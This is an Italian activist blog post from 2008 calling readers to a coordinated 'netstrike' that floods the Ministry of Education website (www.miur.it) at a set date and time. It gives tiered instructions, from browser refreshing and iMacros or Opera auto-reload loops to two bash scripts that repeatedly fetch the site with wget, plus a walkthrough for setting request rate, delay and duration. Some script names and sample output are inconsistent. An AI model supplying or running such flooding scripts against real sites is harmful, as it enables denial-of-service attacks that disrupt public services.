Netstrike NoGelmini 13-11-2008 Ore 14:00

CALL 4 ACTION!!

!Blocchiamo il sito del ministero dell’istruzione!
 

 


MERCOLEDI 12 NOVEMBRE
ORE 19.00
Workshop [+ aperitivo]
@ 38 di via Zamboni [facoltà di lettere e folosofia]


Rilanciamo questa pregevole iniziativa ospitata dagli amici di Autistici/Inventati:

http://www.autistici.org/133strike/

Il Netstrike è l’equivalente cibernetico di un corteo partecipato, di
un sit-in o di un blocco metropolitano, come quelli di cui è stato
portagonista il movimento nelle ultime settimane ( 1 e 2
): una pratica telematica coordinata da uno o più utenti i quali,
moltiplicando le connessioni ad un sito (ad esempio connettendosi
contemporaneamente ad esso) ne rallentano le attività, eventualmente
causandone la paralisi. Fu lanciato per la prima volta nel 1995 dagli
attivisti di European Counter Network
contro i siti del governo francese -contro la decisione di quest’ultimo
di procedere a test nucleari sull’atollo di Mururoa, nell’Oceano
Pacifico- e da allora impiegato in svariate altre occasioni. 

Questa forma di protesta in rete viene ora ripresa dal movimento NoGelmini: giovedì 13/11/2008 alle ore 14:00 la banda del  Sito del Ministero dell’Università e della Ricerca verrà risucchiata nel gorgo dell’Onda. Ce n’è per tutti i livelli di abilità: fatevi sotto e buon netstrike a tutt*:)

Qua sotto mirroriamo dal sito http://www.autistici.org/133strike/ le varie modalità con cui mettere in atto il netsrike per bloccare il sito del ministero dell’istruzione. Leggete attentamente.


Il 13 Novembre alle ore 14:00 partecipa al Netstrike contro uno dei siti che rappresenta
coloro che vogliono sottrarci il nostro futuro, distruggere l’università pubblica e laica.

Cosa devi fare? Organizzati per avere un accesso ad internet intorno alle 14:00 del 13 novembre, per visitare il sito www.miur.it.
Scegli una delle seguenti modalità di partecipazione, calibrate in base alla difficoltà tecnica e il tempo
richiesto:

  • Easy/Low

    Ingredienti: un browser e 5 minuti del tuo tempo, accessibile praticamente a chiunque sappia usare un mouse 😀 

Apri il tuo browser ( Va bene uno qualunque come ad esempio: Firefox, Internet Explorer, Opera, Safari, ecc). Poi scegli se:
*ricaricare la pagina principale, premendo il tasto F5 (oppure CTRL+R), piu volte
*navigare per alcuni minuti all’interno del sito
*Usare la nostra pagina automatica, che si ricarica da sola ogni 5 secondi lasciandoti il tempo per bere un buon the’ 😀

  • Medium/Intermediate

Ingredienti: Utilizzare come browser firefox oppure opera. 

Se non hai ancora il browser Firefox scaricalo gratuitamente e installalo. Poi segui questi passi

*Vai qui
e installa il plugin "iMacros", devi solo premere su "aggiungi a
firefox". Segui le istruzioni che compariranno e riavvia firefox.

*Al riavvio di firefox apri il sito http://www.miur.it

*Ora dopo aver riavviato vedrai una barra laterale (altrimenti vai su Visualizza->Barra Laterale->iMacros)

*Premi su Reg e clicca Registra

*Ora iMacros sta registrando cosa fai dentro firefox, premi refresh 4-5
volte, aspettando tutte le volte che la pagina si sia caricata
completamente

*Premi su Eseguire, inserisci un valore a piacimento (es. 100) nel campo Max, clicca su Esegui(Loop)

*iMacros eseguirà un loop di refresh lasciandoti libero di fare quello che vuoi nel mentre 😀

Per Opera

Se non hai ancora il browser Opera scaricalo gratuitamente e installalo. Poi segui questi passi

*Apri il sito www.miur.it

*Al termine del caricamento, fai clic con il tasto destro nell’area della pagina

*Scegli il menu Aggiorna ogni e seleziona la voce Personalizza, vedrai una nuova piccola finestra

*Controlla che l’opzione "Abilita" sia spuntata, poi
imposta il valore 0 nel campo minuti e un numero basso (tra 1 e 5) nel
campo Secondi

*Per ottenere un risultato migliore, disabilita la cache
di opera: apri la finestra Preferenze e nel pannello dell’opzione
Sicurezza imposta a off i valori di Cache di memoria e Cache di disco

  • High/Hard

Ingredienti: Sai cos’è wget? allora questa è la sezione fatta apposta per te

Se hai qualche conoscenza tecnica puoi provare ad usare uno di questi script o programmi

Script 1

Per Linux/Unix. richiede l’uso di wget

#!/bin/sh
#grazie ciaccomo 🙂
i=0
while [ true ]
do
        i=`expr $i + 1`
        echo downloaded $i times
        wget -O /dev/null $1 &> /dev/null
        sleep $2
done

Script 2

#!/bin/bash

function help() {
    echo -ne "n$(basename $0) [ -r RATE[k|m]] [ -d SLEEP ] [ -s START ] [ -k
STOP ] URL [URL …]"
    echo -ne "n- RATE, banda in bytes, kbytes o megabytes (def. 3k)."
    echo -ne "n- SLEEP, time di refresh (def. 1 sec)."
    echo -ne "n- START, data inizio netstrike (def. now)."
    echo -ne "n- STOP, data di fine netstrike (def. now + 5
min)."
    echo -ne "n- URL elenco delle pagine da aprire =] nn"
    exit $2
}

#def value
RATE="–limit-rate=3k"
DELAY=1
NOW=$(date ‘+%s’)
START=$NOW
STOP=$(($NOW + 300))
ARG=OK

[ -z "$1" ] && help 1

while [ ! -z "$ARG" ]
do
    ARG="$1";
    VALUE="$2";
    case "$ARG" in
        -h|–help)
            help 1
        ;;
        -r|–rate)
            RATE="–limit-rate=$VALUE"
            shift
        ;;
        -d|–delay)
            DELAY="$VALUE"
            shift
        ;;
        -s|–start)
            START=$(date -d "$VALUE" ‘+%s’)
            shift
        ;;
        -k|–stop)
            STOP=$(date -d "$VALUE" ‘+%s’)
            shift
        ;;
        *)
            URLS="$URLS $ARG"
        ;;
    esac
    shift
done

echo "netstrike:"
echo $URLS | tr " " "n"
echo "From " $(date -d "01/01/1970 +1 hours $START sec" ‘+%d/%m/%Y %H:%M:%S’)
echo "To   " $(date -d "01/01/1970 +1 hours $STOP sec" ‘+%d/%m/%Y %H:%M:%S’)
echo "limite di banda ${RATE##–limit-rate=}bit/sec"
echo "aspetto $DELAY seconds al prox refresh"
echo ""

if [ $START -gt $NOW ]
then
    echo "attendo…"
    sleep $(($START – $NOW))
fi

echo "Netstrike avviato."
while [ $NOW -lt $STOP ]
do
    for URL in $URLS
    do
        wget $RATE –no-http-keep-alive –cache=off –output-document=-
                   –quiet $URL > /dev/null
    done
    echo -ne "."
    sleep $DELAY
    NOW=$(date ‘+%s’)
done
echo "."
   


 

Aggiungiamo alcune piccole informazioni su come utilizzare gli script per il netstrike del 13/11/2008 ore 14 contro il ministero della pubblica istruzione in modalità hard/high.

Le modalità low e medium sono state già spiegate nel precedente post e trovate altre spiegazioni sul sito che ha lanciato l’iniziativa.

Per praticare la modalità hard/high occorre avere un sistema operativo GNU/Linux o MacOSx.

Se avete windows e non volete o potete sostituirlo con GNU/Linux (ma perché??) avete due possibili alternative:

1) Scaricare
e masterizzare l’immagine (il file compresso dei dati di installazione
e di sistema) di una distribuzione GNU/Linux come Ubuntu, servendovi
dal programma di masterizzazione di opzioni simili a "masterizza
immagine su disco" o "burn image". Avviando il computer con al suo
interno il cd così creato avrete a disposizione un ambiente GNU/Linux
provvisorio (a meno di non continuare l’installazione cliccando
sull’apposita icona, togliendo il cd e riavviando ritornerete a
windows) in cui poter proseguire con il resto di questa guida. 

 2) Scaricare Wubi
ed installarlo come una normale applicazione da windows; inseriti nome
utente, password e distribuzione (consigliata Ubuntu) verrà creata una
partizione (della dimensione minima di 4GB, non superate lo spazio
libero sul vostro hard disk!) che, al riavvio del computer, permetterà
di utilizzare un ambiente GNU/Linux. Sempre similmente ad
un’applicazione di windows, tale partizione potrà essere cancellata in
qualunque momento da Start->Pannello di Controllo->Installazione
applicazioni. 

 

Script 1

1)Andate alla pagina http://www.autistici.org/133strike/hard.html

2)Evidenziate il codice dello Script 1 ( il codice è quello compreso nel riquadro ) e con il tasto destro selezionate l’opzione Copia

3)Su linux andate su applicazioni/accessori/terminale. Vi si apre una shell. Date come comando

nano netstrike.sh

4)Nella finestra che vi appare incollate il codice che avete copiato
dal sito premendo il tasto destro del mouse e selezionando l’opzione Incolla

5)Salvate il file ( premendo ctrl + o ) e uscite ( premendo ctrl + x )

6) Sempre da shell rendete eseguibile il codice con il comando

chmod +x netsrike.sh

Ora il codice del file netstrike.sh è esegubile.

7) Per lanciarlo scrivete nel vostra shell

 ./netsrike1.sh http://www.miur.it

Script 2

Ripetete le prime 6 operazioni che avete utilizzto per il primo script
( magari cambiando il nome dello script da netrike.sh a netstrike2.sh )

Poi una volta che avete reso eseguibile il file scrivete nella vostra shell

./netsrike.sh http://www.miur.it

Vi apparirà sul terminale:

netstrike:
www.miur.it
From  11/11/2008 14:29:33
To    11/11/2008 14:34:33
limite di banda 3kbit/sec
aspetto 1 seconds al prox refresh

Netstrike avviato.
……..

Quando il codice viene lanciato con il comando che abbiamo visto prima di default lo script:

  • Fa un refresh ( ricaricamento della pagina ) al secondo
  • Ricarica la pagina del sito http://www.miur.it per 5 minuti
  • Utilizza un limite di banda di 3k al secondo


Potete però dare allo script differenti opzioni seguendone la sintassi che è:

netstrike.sh [ -r RATE[k|m]] [ -d SLEEP ] [ -s START ] [ -k STOP ] URL [URL …]

Le opzioni utilizzabili sono quindi:

– RATE, banda in bytes, kbytes o megabytes (def. 3k).
– SLEEP, time di refresh (def. 1 sec).
– START, data inizio netstrike (def. now).
– STOP, data di fine netstrike (def. now + 5
min).
– URL elenco delle pagine da aprire =]

Quindi se per esempio volete dare un limite di banda di 500 k, facendogli fare un refresh ogni 5 secondi dovete scrivere:

./netstrike.sh -r 500K -d 5 http://www.miur.it

O se invece volete dare un limite di banda di 500 k, facendogli fare un
refresh ogni 5 secondi e far durare il tutto, diciamo fino alle ore 18
scrivete:

./netstrike.sh -r 500K -d 5 – k 1800  http://www.miur.it

e apparirà sul vostro terminale:


netstrike:
http://www.infoaut.org
From  11/11/2008 15:07:07
To    11/11/2008 18:00:00
limite di banda 500Kbit/sec
aspetto 5 seconds al prox refresh

Netstrike avviato.
……….

Vedete da voi che l’opzione -k 1800 indica le ore 18:00 della giornata corrente.


 Potete anche modificare direttamente il codice per fare durare il netstrike il tempo che volete

Sempre con nano aprite il file netstrike2.sh che abbiamo creato prima

nano netstrike.sh

e andate a modificare la riga numero 20 che è quella che imposta la fine del netstrike a 5 minuti ( 300 secondi )

STOP=$(($NOW + 300))

Modificatela per esempio in

STOP=$(($NOW + 3600))

In questo modo il vostro netstrike durerà un’ora.

This entry was posted in General. Bookmark the permalink.